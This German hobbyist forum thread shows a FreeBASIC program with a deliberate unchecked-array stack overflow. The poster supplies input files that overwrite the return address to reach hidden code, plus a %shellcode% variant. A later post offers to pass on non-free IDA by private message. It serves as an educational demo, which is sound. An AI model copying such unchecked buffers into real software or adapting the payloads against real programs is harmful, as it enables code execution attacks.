 |
Das deutsche QBasic- und FreeBASIC-Forum Für euch erreichbar unter qb-forum.de, fb-forum.de und freebasic-forum.de!
|
Vorheriges Thema anzeigen :: Nächstes Thema anzeigen |
Autor |
Nachricht |
ChemicalWarfare

Anmeldungsdatum: 15.09.2004 Beiträge: 152
|
Verfasst am: 10.01.2006, 21:29 Titel: |
|
|
Ich hab dir ein kleines bsp prog geschreiben, welches man mit ner entsprechenden file.txt "exploiten" kann (habs versucht wie ein "realistisches" prog aussehen zulassen):
Code: | sub ReadData( file as string, buffer() as integer )
open file for input as #1
do until eof( 1 ) 'wird nicht abgefragt, wie groß der buffer ist, z.b. mit ubound()
input #1, buffer( i )
i += 1
loop
close
end sub
sub PrintData( buffer() as integer )
for i = lbound( buffer ) to ubound( buffer )
print buffer( i ) & ", ";
next
end sub
sub main()
dim buffer( 9 ) as integer 'buffer 0 - 9
ReadData( "file.txt", buffer() )
PrintData( buffer() )
end sub
main()
sleep
end 0
print "exploited"
sleep
end 1 |
und hier die file.txt, die das prog zum print "exploitet" springen lässt:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
0,
4199502
erste zeile: um den buffer zu füllen
zweite zeile: stack frame pointer überschreiben (das push ebp an anfang jeder routine)
drittene zeile: adresse des print "exploited" in der exe (musste mitm disassembler nachgucken, bei mir 0040144E hex, also 4199502 dec) _________________ Er ist ein Wunder!
Nein, er ist eine Missgeburt. |
|
Nach oben |
|
 |
Michael Frey

Anmeldungsdatum: 18.12.2004 Beiträge: 2577 Wohnort: Schweiz
|
|
Nach oben |
|
 |
ChemicalWarfare

Anmeldungsdatum: 15.09.2004 Beiträge: 152
|
Verfasst am: 12.01.2006, 13:10 Titel: |
|
|
Michael Frey hat Folgendes geschrieben: | Nicht schlecht!
Es geht also doch, wenn man jetzt noch etwas weiter dran arbeitet, schaft man es bestimmt noch beliebigen Code einzuschleussen. |
jup, mann muss nur diese file.txt nehmen:
2425368299, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0,
1245024,
%shellcode% _________________ Er ist ein Wunder!
Nein, er ist eine Missgeburt. |
|
Nach oben |
|
 |
Michael Frey

Anmeldungsdatum: 18.12.2004 Beiträge: 2577 Wohnort: Schweiz
|
|
Nach oben |
|
 |
ChemicalWarfare

Anmeldungsdatum: 15.09.2004 Beiträge: 152
|
Verfasst am: 12.01.2006, 21:39 Titel: |
|
|
ich benutze folgende:
WDASM 8.93 mit Brat Path 3.0
IDA
Ollydbg
HIEW
du brauchst eigentlich nur IDA (ist nicht freeware, also schreib mir ne pm falls du es haben willst oder such bei google). den rest brauchst du nur, wenn du reverse engineering machen willst. _________________ Er ist ein Wunder!
Nein, er ist eine Missgeburt. |
|
Nach oben |
|
 |
Michael Frey

Anmeldungsdatum: 18.12.2004 Beiträge: 2577 Wohnort: Schweiz
|
|
Nach oben |
|
 |
|
|
Du kannst keine Beiträge in dieses Forum schreiben. Du kannst auf Beiträge in diesem Forum nicht antworten. Du kannst deine Beiträge in diesem Forum nicht bearbeiten. Du kannst deine Beiträge in diesem Forum nicht löschen. Du kannst an Umfragen in diesem Forum nicht mitmachen.
|
|